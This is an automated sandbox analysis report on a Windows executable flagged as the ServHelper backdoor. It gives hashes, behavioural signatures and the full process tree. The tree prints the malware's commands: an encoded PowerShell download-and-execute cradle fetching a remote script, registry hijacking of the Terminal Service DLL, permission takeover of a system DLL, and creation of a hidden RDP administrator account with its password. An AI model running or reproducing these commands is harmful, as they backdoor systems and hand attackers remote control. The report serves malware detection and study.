Analysis
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max time kernel
129s -
max time network
155s -
platform
windows7_x64 -
resource
win7-en-20211014 -
submitted
26-10-2021 19:42
Static task
static1
Behavioral task
behavioral1
Sample
63151e4f7c3972f18a23c0e9996e14ef.exe
Resource
win7-en-20211014
Behavioral task
behavioral2
Sample
63151e4f7c3972f18a23c0e9996e14ef.exe
Resource
win10-en-20210920
General
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Target
63151e4f7c3972f18a23c0e9996e14ef.exe
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Size
5.7MB
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MD5
63151e4f7c3972f18a23c0e9996e14ef
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SHA1
5d041fde6433a8ff8fc78a69fca1fd4630e3f270
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SHA256
cc28e327610e9deb6551c99a32a44fec86220f2840276474ded747580af850d3
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SHA512
f08c402f0a966cbe89fae0b5f9aa8536d6313dada788486a4db422a042769713a2896753acd47223348349b9960b5cde9470cc862668e2cdb90a6fcc1b87c8ec
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
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ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 752 powershell.exe 6 752 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
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Possible privilege escalation attempt 8 IoCs
pid Process 852 icacls.exe 1164 icacls.exe 280 icacls.exe 1704 icacls.exe 928 icacls.exe 1540 icacls.exe 920 icacls.exe 832 takeown.exe -
Sets DLL path for service in the registry 2 TTPs
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resource yara_rule behavioral1/files/0x0009000000012644-132.dat upx behavioral1/files/0x001600000000f5e9-133.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1528 Process not Found 1528 Process not Found -
Modifies file permissions 1 TTPs 8 IoCs
pid Process 1540 icacls.exe 920 icacls.exe 832 takeown.exe 852 icacls.exe 1164 icacls.exe 280 icacls.exe 1704 icacls.exe 928 icacls.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 9 IoCs
description ioc Process File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6QJHUUGF0LJQPBCQ22MB.temp powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 50c0a60cb3cad701 powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1344 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 1380 powershell.exe 1352 powershell.exe 1052 powershell.exe 1936 powershell.exe 1380 powershell.exe 1380 powershell.exe 1380 powershell.exe 752 powershell.exe -
Suspicious behavior: LoadsDriver 4 IoCs
pid Process 464 Process not Found 1528 Process not Found 1528 Process not Found 1528 Process not Found -
Suspicious use of AdjustPrivilegeToken 18 IoCs
description pid Process Token: SeDebugPrivilege 1380 powershell.exe Token: SeDebugPrivilege 1352 powershell.exe Token: SeDebugPrivilege 1052 powershell.exe Token: SeDebugPrivilege 1936 powershell.exe Token: SeRestorePrivilege 1164 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1728 WMIC.exe Token: SeIncreaseQuotaPrivilege 1728 WMIC.exe Token: SeAuditPrivilege 1728 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1728 WMIC.exe Token: SeIncreaseQuotaPrivilege 1728 WMIC.exe Token: SeAuditPrivilege 1728 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1260 WMIC.exe Token: SeIncreaseQuotaPrivilege 1260 WMIC.exe Token: SeAuditPrivilege 1260 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1260 WMIC.exe Token: SeIncreaseQuotaPrivilege 1260 WMIC.exe Token: SeAuditPrivilege 1260 WMIC.exe Token: SeDebugPrivilege 752 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 320 wrote to memory of 1380 320 63151e4f7c3972f18a23c0e9996e14ef.exe 29 PID 320 wrote to memory of 1380 320 63151e4f7c3972f18a23c0e9996e14ef.exe 29 PID 320 wrote to memory of 1380 320 63151e4f7c3972f18a23c0e9996e14ef.exe 29 PID 1380 wrote to memory of 1236 1380 powershell.exe 31 PID 1380 wrote to memory of 1236 1380 powershell.exe 31 PID 1380 wrote to memory of 1236 1380 powershell.exe 31 PID 1236 wrote to memory of 932 1236 csc.exe 32 PID 1236 wrote to memory of 932 1236 csc.exe 32 PID 1236 wrote to memory of 932 1236 csc.exe 32 PID 1380 wrote to memory of 1352 1380 powershell.exe 33 PID 1380 wrote to memory of 1352 1380 powershell.exe 33 PID 1380 wrote to memory of 1352 1380 powershell.exe 33 PID 1380 wrote to memory of 1052 1380 powershell.exe 35 PID 1380 wrote to memory of 1052 1380 powershell.exe 35 PID 1380 wrote to memory of 1052 1380 powershell.exe 35 PID 1380 wrote to memory of 1936 1380 powershell.exe 38 PID 1380 wrote to memory of 1936 1380 powershell.exe 38 PID 1380 wrote to memory of 1936 1380 powershell.exe 38 PID 1380 wrote to memory of 832 1380 powershell.exe 39 PID 1380 wrote to memory of 832 1380 powershell.exe 39 PID 1380 wrote to memory of 832 1380 powershell.exe 39 PID 1380 wrote to memory of 852 1380 powershell.exe 40 PID 1380 wrote to memory of 852 1380 powershell.exe 40 PID 1380 wrote to memory of 852 1380 powershell.exe 40 PID 1380 wrote to memory of 1164 1380 powershell.exe 41 PID 1380 wrote to memory of 1164 1380 powershell.exe 41 PID 1380 wrote to memory of 1164 1380 powershell.exe 41 PID 1380 wrote to memory of 280 1380 powershell.exe 42 PID 1380 wrote to memory of 280 1380 powershell.exe 42 PID 1380 wrote to memory of 280 1380 powershell.exe 42 PID 1380 wrote to memory of 1704 1380 powershell.exe 43 PID 1380 wrote to memory of 1704 1380 powershell.exe 43 PID 1380 wrote to memory of 1704 1380 powershell.exe 43 PID 1380 wrote to memory of 928 1380 powershell.exe 44 PID 1380 wrote to memory of 928 1380 powershell.exe 44 PID 1380 wrote to memory of 928 1380 powershell.exe 44 PID 1380 wrote to memory of 1540 1380 powershell.exe 45 PID 1380 wrote to memory of 1540 1380 powershell.exe 45 PID 1380 wrote to memory of 1540 1380 powershell.exe 45 PID 1380 wrote to memory of 920 1380 powershell.exe 46 PID 1380 wrote to memory of 920 1380 powershell.exe 46 PID 1380 wrote to memory of 920 1380 powershell.exe 46 PID 1380 wrote to memory of 2040 1380 powershell.exe 47 PID 1380 wrote to memory of 2040 1380 powershell.exe 47 PID 1380 wrote to memory of 2040 1380 powershell.exe 47 PID 1380 wrote to memory of 1344 1380 powershell.exe 48 PID 1380 wrote to memory of 1344 1380 powershell.exe 48 PID 1380 wrote to memory of 1344 1380 powershell.exe 48 PID 1380 wrote to memory of 912 1380 powershell.exe 49 PID 1380 wrote to memory of 912 1380 powershell.exe 49 PID 1380 wrote to memory of 912 1380 powershell.exe 49 PID 1380 wrote to memory of 884 1380 powershell.exe 50 PID 1380 wrote to memory of 884 1380 powershell.exe 50 PID 1380 wrote to memory of 884 1380 powershell.exe 50 PID 884 wrote to memory of 2004 884 net.exe 51 PID 884 wrote to memory of 2004 884 net.exe 51 PID 884 wrote to memory of 2004 884 net.exe 51 PID 1380 wrote to memory of 1196 1380 powershell.exe 52 PID 1380 wrote to memory of 1196 1380 powershell.exe 52 PID 1380 wrote to memory of 1196 1380 powershell.exe 52 PID 1196 wrote to memory of 1056 1196 cmd.exe 53 PID 1196 wrote to memory of 1056 1196 cmd.exe 53 PID 1196 wrote to memory of 1056 1196 cmd.exe 53 PID 1056 wrote to memory of 1908 1056 cmd.exe 54
Processes
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C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe"C:\Users\Admin\AppData\Local\Temp\63151e4f7c3972f18a23c0e9996e14ef.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:320 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1380 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\8hqdyt_5.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1236 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5561.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC5560.tmp"4⤵PID:932
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1352
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1052
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936
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C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:832
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:852
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1164
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:280
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1704
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:928
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1540
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C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:920
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:2040
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1344
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C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:912
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C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2004
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:1196 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1908
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1852
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:1476
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C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1684
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C:\Windows\system32\net.exenet start TermService5⤵PID:1320
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1928
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1136
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1540
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:968
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:832
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:852
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc EgHGTUmT /add1⤵PID:1916
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc EgHGTUmT /add2⤵PID:860
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc EgHGTUmT /add3⤵PID:1704
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1260
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1156
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:800
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD1⤵PID:1396
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD2⤵PID:912
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" UKNHJUQT$ /ADD3⤵PID:1192
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C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:884
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C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:756
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1056
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C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc EgHGTUmT1⤵PID:1500
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C:\Windows\system32\net.exenet.exe user WgaUtilAcc EgHGTUmT2⤵PID:1488
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C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc EgHGTUmT3⤵PID:996
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C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1952
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C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1728
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C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:1692
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C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1260
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C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:112
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C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1396
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:752
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